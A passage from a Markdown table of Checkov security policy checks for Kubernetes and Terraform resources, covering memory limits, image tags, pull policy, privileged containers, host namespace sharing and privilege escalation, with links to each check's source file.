                                           |\n| 6749 | CKV_K8S_13               | resource                         | Deployment                                                                                       | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6750 | CKV_K8S_13               | resource                         | DeploymentConfig                                                                                 | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6751 | CKV_K8S_13               | resource                         | Job                                                                                              | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6752 | CKV_K8S_13               | resource                         | Pod                                                                                              | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6753 | CKV_K8S_13               | resource                         | PodTemplate                                                                                      | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6754 | CKV_K8S_13               | resource                         | ReplicaSet                                                                                       | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6755 | CKV_K8S_13               | resource                         | ReplicationController                                                                            | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6756 | CKV_K8S_13               | resource                         | StatefulSet                                                                                      | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6757 | CKV_K8S_13               | resource                         | kubernetes_deployment                                                                            | Memory requests should be set                                                                                                                                                                            | Terraform               | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 6758 | CKV_K8S_13               | resource                         | kubernetes_deployment_v1                                                                         | Memory requests should be set                                                                                                                                                                            | Terraform               | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 6759 | CKV_K8S_13               | resource                         | kubernetes_pod                                                                                   | Memory requests should be set                                                                                                                                                                            | Terraform               | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 6760 | CKV_K8S_13               | resource                         | kubernetes_pod_v1                                                                                | Memory requests should be set                                                                                                                                                                            | Terraform               | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 6761 | CKV_K8S_14               | resource                         | CronJob                                                                                          | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6762 | CKV_K8S_14               | resource                         | DaemonSet                                                                                        | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6763 | CKV_K8S_14               | resource                         | Deployment                                                                                       | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6764 | CKV_K8S_14               | resource                         | DeploymentConfig                                                                                 | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6765 | CKV_K8S_14               | resource                         | Job                                                                                              | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6766 | CKV_K8S_14               | resource                         | Pod                                                                                              | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6767 | CKV_K8S_14               | resource                         | PodTemplate                                                                                      | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6768 | CKV_K8S_14               | resource                         | ReplicaSet                                                                                       | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6769 | CKV_K8S_14               | resource                         | ReplicationController                                                                            | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6770 | CKV_K8S_14               | resource                         | StatefulSet                                                                                      | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Kubernetes              | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                                                    |\n| 6771 | CKV_K8S_14               | resource                         | kubernetes_deployment                                                                            | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform               | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 6772 | CKV_K8S_14               | resource                         | kubernetes_deployment_v1                                                                         | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform               | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 6773 | CKV_K8S_14               | resource                         | kubernetes_pod                                                                                   | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform               | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 6774 | CKV_K8S_14               | resource                         | kubernetes_pod_v1                                                                                | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform               | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 6775 | CKV_K8S_15               | resource                         | CronJob                                                                                          | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6776 | CKV_K8S_15               | resource                         | DaemonSet                                                                                        | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6777 | CKV_K8S_15               | resource                         | Deployment                                                                                       | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6778 | CKV_K8S_15               | resource                         | DeploymentConfig                                                                                 | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6779 | CKV_K8S_15               | resource                         | Job                                                                                              | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6780 | CKV_K8S_15               | resource                         | Pod                                                                                              | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6781 | CKV_K8S_15               | resource                         | PodTemplate                                                                                      | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6782 | CKV_K8S_15               | resource                         | ReplicaSet                                                                                       | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6783 | CKV_K8S_15               | resource                         | ReplicationController                                                                            | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6784 | CKV_K8S_15               | resource                         | StatefulSet                                                                                      | Image Pull Policy should be Always                                                                                                                                                                       | Kubernetes              | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                                                    |\n| 6785 | CKV_K8S_15               | resource                         | kubernetes_deployment                                                                            | Image Pull Policy should be Always                                                                                                                                                                       | Terraform               | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 6786 | CKV_K8S_15               | resource                         | kubernetes_deployment_v1                                                                         | Image Pull Policy should be Always                                                                                                                                                                       | Terraform               | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 6787 | CKV_K8S_15               | resource                         | kubernetes_pod                                                                                   | Image Pull Policy should be Always                                                                                                                                                                       | Terraform               | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 6788 | CKV_K8S_15               | resource                         | kubernetes_pod_v1                                                                                | Image Pull Policy should be Always                                                                                                                                                                       | Terraform               | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 6789 | CKV_K8S_16               | resource                         | CronJob                                                                                          | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6790 | CKV_K8S_16               | resource                         | DaemonSet                                                                                        | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6791 | CKV_K8S_16               | resource                         | Deployment                                                                                       | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6792 | CKV_K8S_16               | resource                         | DeploymentConfig                                                                                 | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6793 | CKV_K8S_16               | resource                         | Job                                                                                              | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6794 | CKV_K8S_16               | resource                         | Pod                                                                                              | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6795 | CKV_K8S_16               | resource                         | PodTemplate                                                                                      | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6796 | CKV_K8S_16               | resource                         | ReplicaSet                                                                                       | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6797 | CKV_K8S_16               | resource                         | ReplicationController                                                                            | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6798 | CKV_K8S_16               | resource                         | StatefulSet                                                                                      | Container should not be privileged                                                                                                                                                                       | Kubernetes              | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                                                      |\n| 6799 | CKV_K8S_16               | resource                         | kubernetes_deployment                                                                            | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 6800 | CKV_K8S_16               | resource                         | kubernetes_deployment_v1                                                                         | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 6801 | CKV_K8S_16               | resource                         | kubernetes_pod                                                                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 6802 | CKV_K8S_16               | resource                         | kubernetes_pod_v1                                                                                | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 6803 | CKV_K8S_17               | resource                         | CronJob                                                                                          | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6804 | CKV_K8S_17               | resource                         | DaemonSet                                                                                        | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6805 | CKV_K8S_17               | resource                         | Deployment                                                                                       | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6806 | CKV_K8S_17               | resource                         | Job                                                                                              | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6807 | CKV_K8S_17               | resource                         | Pod                                                                                              | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6808 | CKV_K8S_17               | resource                         | ReplicaSet                                                                                       | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6809 | CKV_K8S_17               | resource                         | ReplicationController                                                                            | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6810 | CKV_K8S_17               | resource                         | StatefulSet                                                                                      | Containers should not share the host process ID namespace                                                                                                                                                | Kubernetes              | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                                                      |\n| 6811 | CKV_K8S_17               | resource                         | kubernetes_deployment                                                                            | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform               | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 6812 | CKV_K8S_17               | resource                         | kubernetes_deployment_v1                                                                         | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform               | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 6813 | CKV_K8S_17               | resource                         | kubernetes_pod                                                                                   | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform               | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 6814 | CKV_K8S_17               | resource                         | kubernetes_pod_v1                                                                                | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform               | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 6815 | CKV_K8S_18               | resource                         | CronJob                                                                                          | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6816 | CKV_K8S_18               | resource                         | DaemonSet                                                                                        | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6817 | CKV_K8S_18               | resource                         | Deployment                                                                                       | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6818 | CKV_K8S_18               | resource                         | Job                                                                                              | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6819 | CKV_K8S_18               | resource                         | Pod                                                                                              | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6820 | CKV_K8S_18               | resource                         | ReplicaSet                                                                                       | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6821 | CKV_K8S_18               | resource                         | ReplicationController                                                                            | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6822 | CKV_K8S_18               | resource                         | StatefulSet                                                                                      | Containers should not share the host IPC namespace                                                                                                                                                       | Kubernetes              | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                                                      |\n| 6823 | CKV_K8S_18               | resource                         | kubernetes_deployment                                                                            | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform               | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 6824 | CKV_K8S_18               | resource                         | kubernetes_deployment_v1                                                                         | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform               | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 6825 | CKV_K8S_18               | resource                         | kubernetes_pod                                                                                   | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform               | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 6826 | CKV_K8S_18               | resource                         | kubernetes_pod_v1                                                                                | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform               | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 6827 | CKV_K8S_19               | resource                         | CronJob                                                                                          | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6828 | CKV_K8S_19               | resource                         | DaemonSet                                                                                        | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6829 | CKV_K8S_19               | resource                         | Deployment                                                                                       | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6830 | CKV_K8S_19               | resource                         | Job                                                                                              | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6831 | CKV_K8S_19               | resource                         | Pod                                                                                              | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6832 | CKV_K8S_19               | resource                         | ReplicaSet                                                                                       | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6833 | CKV_K8S_19               | resource                         | ReplicationController                                                                            | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6834 | CKV_K8S_19               | resource                         | StatefulSet                                                                                      | Containers should not share the host network namespace                                                                                                                                                   | Kubernetes              | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                                                          |\n| 6835 | CKV_K8S_19               | resource                         | kubernetes_deployment                                                                            | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform               | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 6836 | CKV_K8S_19               | resource                         | kubernetes_deployment_v1                                                                         | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform               | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 6837 | CKV_K8S_19               | resource                         | kubernetes_pod                                                                                   | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform               | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 6838 | CKV_K8S_19               | resource                         | kubernetes_pod_v1                                                                                | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform               | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 6839 | CKV_K8S_20               | resource                         | CronJob                                                                                          | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6840 | CKV_K8S_20               | resource                         | DaemonSet                                                                                        | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6841 | CKV_K8S_20               | resource                         | Deployment                                                                                       | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6842 | CKV_K8S_20               | resource                         | DeploymentConfig                                                                                 | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6843 | CKV_K8S_20               | resource                         | Job                                                                                              | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6844 | CKV_K8S_20               | resource                         | Pod                                                                                              | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6845 | CKV_K8S_20               | resource                         | PodTemplate                                                                                      | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6846 | CKV_K8S_20               | resource                         | ReplicaSet                                                                                       | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6847 | CKV_K8S_20               | resource                         | ReplicationController                                                                            | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6848 | CKV_K8S_20               | resource                         | StatefulSet                                                                                      | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                                              |\n| 6849 | CKV_K8S_20               | resource                         | kubernetes_deployment                                                                            | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform               | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 6850 | CKV_K8S_20               | resource                         | kubernetes_deployment_v1                                                                         | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform               | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 6851 | CKV_K8S_20               | resource                         | kubernetes_pod                                                                                   | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform               | 